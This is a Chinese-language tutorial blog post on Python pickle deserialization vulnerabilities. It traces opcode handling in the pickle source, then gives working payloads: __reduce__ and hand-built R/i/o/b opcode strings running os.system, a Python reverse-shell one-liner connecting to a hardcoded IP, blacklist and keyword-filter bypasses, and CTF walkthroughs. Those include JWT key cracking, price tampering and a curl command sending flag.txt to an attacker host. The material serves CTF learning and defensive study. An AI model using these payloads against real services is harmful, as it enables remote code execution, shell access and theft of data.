前言
之前所接触的大多是PHP 反序列化题型,最近遇见了一道Python pickle反序列化类型题,因此学习了一下其反序列化,简单总结如下,希望能对各位师傅有所帮助。
Pickle
师傅们可自行先参考一下官方文档
https://docs.python.org/zh-cn/3/library/pickle.html
定义
模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化。
通俗易懂的说,就是pickle实现了基本数据的序列化和反序列化。
方法
Pickle包含四种方法,具体如下所示
pickle.dump(obj, file)
//将obj对象进行封存,即序列化,然后写入到file文件中
//注:这里的file需要以wb打开(二进制可写模式)
pickle.load(file)
//将file这个文件进行解封,即反序列化
//注:这里的file需要以rb打开(二进制可读模式)
pickle.dumps(obj)
//将obj对象进行封存,即序列化,然后将其作为bytes类型直接返回
pickle.loads(data)
//将data解封,即进行反序列化
//注:data要求为bytes-like object(字节类对象)
有关字节类对象,可以看官方这里的介绍
https://docs.python.org/zh-cn/3/glossary.html#term-bytes-like-object
看到这里的话,其实也就明白了一点,常用的也就是dump
和load
,类似于PHP的seralize
和unseralize
这里简单举个例子
import pickle
zj = 'tttang'
filename = "tttang"
# 序列化
with open(filename, 'wb') as f:#以二进制可写形式打开tttang这个文件
pickle.dump(zj, f) #将zj这个变量对应的字符串进行序列化并写入到f中
# 读取序列化后生成的文件
with open(filename, "rb") as f:
print(f.read())
# 反序列化
with open(filename, "rb") as f: #以二进制可读形式打开tttang这个文件
print(pickle.load(f)) #将这个文件进行反序列化并输出
运行结果
demo源码分析
想要理解反序列化,就得从最根本开始,因此这里从源码开始入手
ctrl+鼠标左键查看load
源码
找到load
方法
这里的大致含义就是将内容以二进制字节流形式读取并存放到file中,而后我们看到返回中利用了load()
方法,继续跟进
这里主要看下面的这一点
try:
while True:
key = read(1)
if not key:
raise EOFError
assert isinstance(key, bytes_types)
dispatch[key[0]](self)
except _Stop as stopinst:
return stopinst.value
这里大致含义就是将字符串中的字符挨个进行读取,然后通过dispatch
字典索引,调用对应方法
这里我们的字符串是
b'\x80\x04\x95\n\x00\x00\x00\x00\x00\x00\x00\x8c\x06tttang\x94.'
第一步
第一个也就是\x80
,查一下这个\x80
发现对应的是PROTO
,那么这里的话就是dispatch[PROTO[0]]
,其对应的是load_proto
方法,跟进
def load_proto(self):
proto = self.read(1)[0]
if not 0 <= proto <= HIGHEST_PROTOCOL:
raise ValueError("unsupported pickle protocol: %d" % proto)
self.proto = proto
发现这里是再读取一个字符串,然后这里的话是读取的\x04
,其含义大概是说这是一个根据四号协议反序列化的字符串
第二步
此时读取的字符串是\x95
,搜索过后发现其对应
FRAME = b'\x95' # indicate the beginning of a new frame
查这个frame
对应函数,即load_frame
def load_frame(self):
frame_size, = unpack('<Q', self.read(8))
if frame_size > sys.maxsize:
raise ValueError("frame size > sys.maxsize: %d" % frame_size)
self._unframer.load_frame(frame_size)
这里是又往后读取了八位代表frame的大小,这里的八位是\n\x00\x00\x00\x00\x00\x00\x00
,表示其大小为0
,后面的大致含义是将其进行二进制字节流转换然后赋值给current_frame
。
第三步
这里到了\x8c
,搜到对应的是SHORT_BINUNICODE
,对应方法如下
def load_short_binunicode(self):
len = self.read(1)[0]
self.append(str(self.read(len), 'utf-8', 'surrogatepass'))
这里又往下读取了一位,然后调用了append
方法,我们跟进一下
self.stack = []
self.append = self.stack.append
那么这里的话大致含义就是设置一个空数组,然后将读取的下一位存放进去(入栈),下一位是\x06tttang
,此时就把它存入栈中了
第四步
此时继续往下读取字符串,对应的是\x94
,对应方法是load_memoize
,跟进
def load_memoize(self):
memo = self.memo
memo[len(memo)] = self.stack[-1]
这里的话大致含义就是memo是个空数组,然后它将栈中-1对应元素取出,存入数组中
第五步
此时读取到最后一个字符串.
,其对应的是stop,这里就结束了反序列化
示例及源码分析
上述只是一种简单的示例,抛砖引玉了属于是,而常见的序列化和反序列化,往往是出现在类和对象中,这里举出一个具体实例
import pickle
class tttang:
def __init__(self,name,age):
self.name=name
self.age=age
a=pickle.dumps(tttang("quan9i","19"))
print(a)
得到结果如下
b'\x80\x04\x95:\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06tttang\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x06quan9i\x94\x8c\x03age\x94\x8c\x0219\x94ub.'
由于刚刚已经说过了具体代码,所以这里不再放出自定义函数对应代码(师傅们自行查看源码更能增强理解)
第一步
读取\x80
,其对应的是PROTO
,这里调用load_proto
方法,函数内容是读取下一个字符,读取到\x04
,这里的含义是表示这是一个根据四号协议序列化的字符串。
第二步
读取\x95
,其对应的是FRAME
,这里调用load_frame
方法,函数内容是读取八个字符串,这里是:\x00\x00\x00\x00\x00\x00\x00
,然后将其值进行二进制字节流转换赋值给current_frame
第三步
读取\x8c
,其对应的是SHORT_BINUNICODE
,对应方法是load_short_binunicode
,函数内容是向下读取一位,然后压入栈中
stack:[__main__]
第四步
读取\x94
,其对应的是MEMOIZE
,对应方法是load_memoize
,函数内容是将栈中-1对应元素赋值给memo[0]
,这里的话就是memo[0]=\x08__main
,而memo等于{}
,那么这里就是{\x08__main}
第五步
读取\x8c
,向下读取一位然后压入栈中,下一位是\x06tttang
,这里的话就是
stack:[__main__,tttang]
第六步
读取\x94
,将栈中-1对应元素存入memo[1]
中,这里的话就是memo[1]=tttang
第七步
读取\x93
,对应函数是load_stack_global
,函数内容是将栈中元素取出一个,作为对象名,这里就是name=tttang
,接下来再取出一个,作为类名,这里就是module=__main__
,然后压入栈中
stack:[<class '__main__.tttang'>]
第八步
读取\x94
,将栈中-1对应元素存入memo[2]
中,这里的话就是将上面的字符串保存到memo[2]
中
第九步
读取)
,对应的是EMPTY_TUPLE
,也就是向栈中加入空元组
stack:[<class '__main__.tttang'>,()]
第十步
读取\x81
,对应函数是load_newobj
,弹出()
赋值给args
,然后将class '__main__.tttang'
赋值给cls
,接下来cls.__new__(cls,*args)
实例化对象,由于args
为空,所以这里仍然是一个空的tttang
对象
stack:[<class '__main__.tttang'>]
第十步
读取\x94
,将上面实例化过后的对象存入memo[3]
第十一步
读取}
,往栈中压入空的字典
stack:[<class '__main__.tttang'>,{}]
第十二步
读取\x94
,将上述字符串存入memo[4]
第十三步
读取(
,对应方法为load_mark
,函数内容是将栈中元素压入到metastack
中,然后将栈置空
第十四步
读取\x8c
,向下读取一位压入栈中,下一位是\x04name
(\x04代表name的长度),这里就是
stack:[name]
第十五步
读取\x94
,这里的话栈中是name
,因此就是memo[5]=name
第十六步
读取\x8c
,向下读取一位压入栈中,这里的话下一位是\x06quan9i
,因此就是
stack:[name,quan9i]
第十七步
读取\x94
,即memo[6]=quan9i
第十八步
读取\x8c
,读取下一位\x03age
,所以栈为
stack:[name,quan9i,age]
第十九步
读取x94
,这里的话是memo[7]=age
第二十步
读取\x8c
,读取下一位\x0219
,所以栈为
stack:[name,quan9i,age,19]
第二十一步
读取\x94
,即memo[8]=19
第二十二步
读取u
,对应函数为load_setitems
,将栈赋值给items
变量,然后将metastack
中的弹出赋值给栈,所以这里的栈就变成了<class '__main__.tttang'>,{}
,这里的话就是取出__main__.tttang
作为字典,接下来进行range遍历
__main__.tttang[items[0]]=items[1]
__main__.tttang[items[2]]=items[3]
因此这里就是
__main__.tttang[name]=quan9i
__main__.tttang[age]=19
那么这里的话栈就变成
stack:[<class '__main__.tttang'>,{'name':'quan9i','age':'19'}]
第二十三步
读取b
,对应方法为load_build
,弹出{'name':'quan9i','age':'19'}
赋值给state
,弹出class '__main__.tttang'
赋值给inst
,如果inst
中存在setstate
,就用setstate
来处理state
,否则就存入inst_dict
中
第二十四步
读取.
,结束反序列化
大家在自行阅读源码过后也可以通过pickletools
来查看自己的大体思路是否出错
这个模块调用也比较简单,如下所示
import pickle
import pickletools
class tttang:
def __init__(self,name,age):
self.name=name
self.age=age
a=pickle.dumps(tttang("quan9i","19"))
print(a)
pickletools.dis(a)
结果如下图
漏洞成因
Pickle之所以出现反序列化漏洞的原因,是因为pickle数据是完全可控的,我们可以用来表示任意对象,官方也声明了其危险性。
漏洞利用
全局变量覆盖
举个例子
现在存在一个文件secret.py
,内容如下
key='flag{xxx}'
如果我们能把它修改成tttang
,就算是解题成功。那我们该怎么实现呢
方法的话其实是很简单的,我们只需要通过c
操作符得到全局变量secret
,然后利用b
操作符修改属性值即可,构造payload如下
c__main__
secret
(S'key'
S'tttang'
db.
测试代码如下
import pickle
import secret
payload='''c__main__
secret
(S'key'
S'tttang'
db.'''
print('before:',secret.key)
output=pickle.loads(payload.encode())
print('output:',output)
print('after:',secret.key)
结果如下
函数执行
—reduce—方法
常见的利用方式是什么呢,我们这里就需要提到一个方法了,这个方法就是__reduce__
方法,简单介绍一下
__reduce__
调用:被定义之后,当对象被pickle时就会触发
作用:如果接收到的是字符串,就会把这个字符串当成一个全局变量的名称,然后Python查找它并进去pickle
如果接收到的是元组,这个元组应该包含2-6个元素,其中包括:一个可调用对象,用于创建对象,参数元素,供对象调用
这里给出一个简单的demo
#encoding: utf-8
import os
import pickle
class tttang(object):
def __reduce__(self):
return (os.system,('whoami',))
a=tttang()
payload=pickle.dumps(a)
print(payload)
pickle.loads(payload)
可以看到成功执行了命令
这个不仅可以实现函数利用,也可以实现反弹shell,如下所示
import pickle
import os
class tttang(object):
def __reduce__(self):
a="""
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.222.255.142",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(a,))
a = tttang()
pickle.loads(pickle.dumps(a))
编写opcode实现函数执行
函数执行,这就要提到opcode
,也就是那序列化后的那些字符,它们都有一定的含义,我们也可以通过编写opcode实现函数执行,
具体的大家可以看这里
https://github.com/python/cpython/blob/main/Lib/pickle.py#L111
hachp1
大师傅总结了一下常用的opcode及其功能,如下所示(参考自https://xz.aliyun.com/t/7436)
opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化 |
---|---|---|---|---|
c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) | c[module]\n[instance]\n | 获得的对象入栈 | 无 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
N | 实例化一个None | N | 获得的对象入栈 | 无 |
S | 实例化一个字符串对象 | S'xxx'\n(也可以使用双引号、\'等python字符串形式) | 获得的对象入栈 | 无 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
p | 将栈顶对象储存至memo_n | pn\n | 无 | 对象被储存 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | 无 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |
看过这个之后,就大致了解了每个opcode
的作用,现在来说一下函数执行
函数执行常用的有以下几个操作符
R操作符
R
操作符,其对应的函数如下所示
def load_reduce(self):
stack = self.stack
args = stack.pop()
func = stack[-1]
stack[-1] = func(*args)
简单分析一下
弹出栈作为函数执行的参数,因此这里的参数需要是元组形式,然后取栈中最后一个元素作为函数,并将指向结果赋值给此元素
因此这里的话,我们想执行的命令whoami
放入栈中,再把system
模块放入栈中,即可实现函数的函数执行
构造payload如下
a=b'cos\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
解读一下,
字符c
读取moduleos
,读取namesystem
,此时就构造出了os.system
字符X
,往后读取四位\x06\x00\x00\x00whoami
字符\x85
,它将最后一个数据变成元组重新入栈
字符.
,结束了反序列化
测试代码
import pickle
a=b'cos\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
flag=pickle.loads(a)
i操作符
i
操作符,其对应函数如下所示
def load_inst(self):
module = self.readline()[:-1].decode("ascii")
name = self.readline()[:-1].decode("ascii")
klass = self.find_class(module, name)
self._instantiate(klass, self.pop_mark())
分析函数
向下依次读取两行分别作为module
和name
,然后利用find_class
寻找对应方法,通过pop_mark()
函数得到参数,利用_instantiate
函数执行,将结果存入栈中,pop_mark()
对应代码
def pop_mark(self):
items = self.stack
self.stack = self.metastack.pop()
self.append = self.stack.append
return items
简单分析一下,这里是获取当前栈赋给items
,然后弹出栈内元素,再把这个栈赋值给当前栈,然后返回items
构造payload如下
b'(X\x06\x00\x00\x00whoamiios\nsystem\n.'
解读一下
字符(
,为了与后面的字符i
作对应,i
字符寻找上一个MARK
来闭合,然后组合其内的数据作为元组,以此元组作为函数参数
字符X
,向后读取四个字符串\x06\x00\x00\x00whoami
而后压入栈中
字符i
,往后读取两行得到os.system
,调用参数并执行
字符.
,结束反序列化
测试代码
import pickle
a=b'(X\x06\x00\x00\x00whoamiios\nsystem\n.'
b=pickle.loads(a)
o操作符
o
操作符,其对应函数如下所示
def load_obj(self):
# Stack is ... markobject classobject arg1 arg2 ...
args = self.pop_mark()
cls = args.pop(0)
self._instantiate(cls, args)
简单分析一下,这个函数先弹出栈中一个元素作为args
,也就是参数,而后再弹出第一个元素作为函数,调用_instantiate
函数自执行
构造payload如下
b'(cos\nsystem\nX\x06\x00\x00\x00whoamio.'
解读一下
字符(
,为了和之后的字符o
对应,实现闭合,获取函数及参数
字符c
,往后读取两行,得到函数os.system
字符X
,往后读取四位得到x06\x00\x00\x00whoami
,即whoami
字符o
,与(
实现闭合,将第一个元素,也就是os.system
作为函数,第二个元素whoami
作为参数,执行
字符.
,结束反序列化
测试代码
import pickle
a=b'(cos\nsystem\nX\x06\x00\x00\x00whoamio.'
b=pickle.loads(a)
b操作符
b
操作符,其对应函数如下所示
def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
简单分析一下,这个函数是当栈中存在__setstate__
时,就会执行setstate(state)
,因此我们这里自定义一个__setstate__
类,分别构造os.system
和whoami
即可执行命令
构造payload如下
b'c__main__\ntttang\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.'
解读一下
字符c
,往后读取两行,得到主函数和类,__main__.tttang
字符)
,向栈中压入空元祖()
字符}
,向栈中压入空字典{}
字符X
,读取四位\x0C\x00\x00\x00__setstate__
,得到__setstate__
字符c
,向后读取两行,得到函数os.system
字符s
,将第一个和第二个元素作为键值对,添加到第三个元素中,此时也就是{__main.tttang:()},__setstate__,os.system
字符b
,第一个元素出栈,此时也就是{'__setstate__': os.system}
,此时执行一次setstate(state)
字符X
,往后读取四位x06\x00\x00\x00whoami
,即whoami
字符b
,弹出元素whoami
此时state
为whoami
,执行os.system(whoami)
字符.
,结束反序列化
测试代码如下
import pickle
class tttang:
def __init__(self):
self.name="quan9i"
a=b'c__main__\ntttang\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.'
b=pickle.loads(a)
界限突破(绕WAF)
黑名单绕过
官方在声明Python反序列化时就已经意识到了其具有危险性,自然有一定的方法来进行防护。
官方给出的安全反序列化是继承了
pickle.Pickler
类,并重载了find_class
方法
常见的是设置了一些黑名单来进行绕过,示例如下
import pickle
import io
import builtins
__all__ = ('PickleSerializer',)
class RestrictedUnpickler(pickle.Unpickler):
blacklist={'eval','exec','open','__import__','exit','input'}
def find_class(self,module,name):
if module == "builtins" and name not in self.blacklist:
return getattr(builtins,name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden"%(module ,name))
这里设置了黑名单,禁止利用eval
和exec
等函数
但我们会发现这里getattr
没有被ban,__builtins__
中存在着很多函数,这就意味着我们可以builtins.getattr('builtins', 'eval')
来获取eval等黑名单函数。
构造payload如下
builtins.getattr(builtins, 'eval'),('__import__("os").system("whoami")',)
该如何编写对应的opcode呢?
一步步来即可
首先,构造出builtins.getattr
,这里的话就用c
操作符来调用出模块和函数,因此这里的话就写出了
cbuiltins
getattr
接下来压入的话会发现,其中含有个对象,而其他压入的都是字符串,如果直接压入的话会出错,这里的话可以这样
builtins = builtins.globals().get('builtins')
构造一下
cbuiltins
globals #得到builtins.globals
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR. #获取到globals中的dict类中的get方法
接下来再用dict.get
从globals
中就获取builtins
就可以
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals #得到globals()
(tRS'builtins' #读取builtins
tR. #t是与(形成元组,R是执行,师傅们自行解读一下可以就理解了
写个简单的demo测试一下是否成功构造出了builtins
import pickle,builtins
payload=b"""cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tR.
"""
a=pickle.loads(payload)
print(a)
接下来只需要构造eval就可以了,构造最终payload如下
b"""cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRS'eval'
tRp1
(S'__import__("os").system("whoami")'
tR."""
这个是通过R操作符实现的函数执行,也可以通过O操作符和i操作符实现,这里借用一下枫霄云
大师傅的opcode
o操作码:
b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("whoami")o.'
关键词绕过
之前提到变量覆盖的时候,用到了变量名key
,而如果禁止使用这个关键词,我们该怎么办呢,有以下几种方法
V操作符绕过
这里可以借用V
操作符来实现关键字绕过,V
操作符可以实例化一个unicode
字符串对象。
我们之前的payload
c__main__
secret
(S'key'
S'tttang'
db.
修改过后的payload
c__main__
secret
(V\u006bey
S'tttang'
db.
可以发现成功实现变量覆盖
十六进制绕过
S
操作符是可以识别十六进制的,因此这里也可以对字符进行十六进制编码,从而绕过,构造payload如下
c__main__
secret
(S'\x6bey'
S'tttang'
db.
内置函数获取关键字
当我们引用某个模块时,我们可以通过sys.modules[xxx]
来获取其全部属性,然后我们可以输出全部属性,示例如下
import secret
import sys
print(dir(sys.modules['secret']))
成功找到关键词key,但发现这里是列表的形式(pickle不支持列表索引)
所以这里的话我们可以用函数reversed()
将列表反序,然后用next()
函数指向关键词从而实现输出关键词,示例如下
import secret
import sys
print(next(reversed(dir(sys.modules['secret']))))
接下来只需要构造写出对应opcode即可
先写dir
(c__main__
secret
i__builtin__
dir
此时再写reversed
(因为过程是一样的,所以直接在c前面添加括号,在后面加i再接调用模块就可以)
((c__main__
secret
i__builtin__
dir
i__builtin__
reversed
最后写next
(((c__main__
secret
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
接下来检验一下
import secret
import pickle
import sys
opcode=b'''(((c__main__
secret
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
.'''
print(pickle.loads(opcode))
成功输出key
,接下来我们去修改一下之前的payload,把key改成这个,就可以啦
import pickle
import secret
payload=b'''c__main__
secret
((((c__main__
secret
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
S'tttang'
db.'''
print('before:',secret.key)
output=pickle.loads(payload)
print('output:',output)
print('after:',secret.key)
实战
[CISCN2019 华北赛区 Day1 Web2]ikun
进入后发现有登录和注册界面,常规操作先注册后登录
提示要买到lv6,下划后发现可以买等级
这里没有lv6,点击下一页看看
仍然没有找到lv6,但发现参数是GET型传参
这意味着我们可以写个小脚本来查找lv6所在位置
发现lv3对应的代码是lv3.png,那么lv6对应的就是lv6.png
脚本如下
import time
import requests
url = "http://8e197801-2f87-4e36-aee6-a2390b0f391e.node4.buuoj.cn:81/shop?page="
for i in range(1,300):
res = requests.get(url+str(i))
time.sleep(0.5)
if "lv6.png" in res.text:
print(i)
break
181页,找到后发现价格是天价,买不起
这里抓包看一下
发现可以修改折扣,把这个discount修改为0.00000000000001
然后发包
跳转到了另一个界面但无权限访问
再抓包
发现JWT,解码一下(解码网站https://jwt.io/)
我们这里想实现修改root为admin
,需要有密钥,爆破密钥可以用工具c-jwt-cracker
得到,链接如下
https://github.com/brendan-rius/c-jwt-cracker
破解后得到密钥为1Kun
抓包,将得到的值赋给JWT,再发包
手给我点废了也没点出来什么东西,这个时候才想起来看看源代码,又是被自己蠢到的一天发现源码,下载下来看一下
在admin.py
中发现
有loads
,这意味着存在Pickle反序列化,我们可以写个有reduce的类,然后在里面写入想要执行的命令,进行序列化,接下来传值给become就可以了
这里结果是return形式的,而不是print,所以os.system
没回显,这里了解到commands.getoutput
是有回显的,因此用它来执行命令,构造exp如下
import pickle
import urllib
import commands
class flag(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))
a = flag()
print(urllib.quote(pickle.dumps(a)))
接下来同理,换一下语句就可以查看flag了
import pickle
import urllib
import commands
class flag(object):
def __reduce__(self):
return (commands.getoutput,('cat /flag.txt',))
a = flag()
print(urllib.quote(pickle.dumps(a)))
[watevrCTF-2019]Pickle Store
开环境后发现这个flag
卖1000,而我们只有500,随便买两个其他的,发现也没什么东西,看一下其他内容,发现session有点像某种编码过后的,其内容如下
gAN9cQAoWAUAAABtb25leXEBTYYBWAcAAABoaXN0b3J5cQJdcQMoWBQAAABZdW1teSBzbcO2cmfDpXNndXJrYXEEWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBWVYEAAAAGFudGlfdGFtcGVyX2htYWNxBlggAAAAMjllYTdlODgyODJmOTJmNGZmYzI5NzZmMTQ5MDU2OTdxB3Uu
结合题目,想到这里可能是pickle序列化后又进行了base64编码,因此我们进行反向操作,base64解码一下再进行反序列化,看看能得到什么,脚本如下
import pickle
from base64 import *
a='gAN9cQAoWAUAAABtb25leXEBTYYBWAcAAABoaXN0b3J5cQJdcQMoWBQAAABZdW1teSBzbcO2cmfDpXNndXJrYXEEWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBWVYEAAAAGFudGlfdGFtcGVyX2htYWNxBlggAAAAMjllYTdlODgyODJmOTJmNGZmYzI5NzZmMTQ5MDU2OTdxB3Uu'
print(pickle.loads(b64decode(a)))
结果如下
{'money': 390, 'history': ['Yummy smörgåsgurka', 'Yummy standard pickle'], 'anti_tamper_hmac': '29ea7e88282f92f4ffc2976f14905697'}
这说明我们的推断是没有错误的,我们知道pickle存在反序列化漏洞,因此这里就可以利用pickle反序列化漏洞来解题
这里看起来是没有什么防护的,因此我们用简单的__reduce__
来构造语句
尝试直接命令执行
import base64
import pickle
class flag(object):
def __reduce__(self):
return (eval, ("__import__('os').system('cat /f*')",))
a = flag()
print( base64.b64encode( pickle.dumps(a) ) )
不幸的是这里报500了,可能对session进行了某种检测,那我们这里就用反弹shell来做
而后我们编写脚本获取payload
import base64
import pickle
class payload(object):
def __reduce__(self):
return (eval,("__import__('os').system('curl -d @flag.txt ip:7777')",))
a = payload()
print(base64.b64encode(pickle.dumps(a)))
然后服务器开启监听
接下来修改session值为对应payload,刷新界面即可得到flag
后言
本人只是一个小白,在学习Python反序列化时对于opcode
构造函数执行感到十分吃力,极有可能部分分析过程出现问题,如果有问题还请各位大师傅多多指正
参考文章
https://tttang.com/archive/1294/
https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf
https://misakikata.github.io/2020/04/python-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#Unpickler-find-class
https://xz.aliyun.com/t/7436#toc-11
https://xz.aliyun.com/t/7012#toc-1
https://xz.aliyun.com/t/7320#toc-2
https://xz.aliyun.com/t/8342
https://goodapple.top/archives/1069
https://zhuanlan.zhihu.com/p/89132768
https://forum.butian.net/share/1929
https://www.dounaite.com/article/62652a1c7b5653d739b20f48.html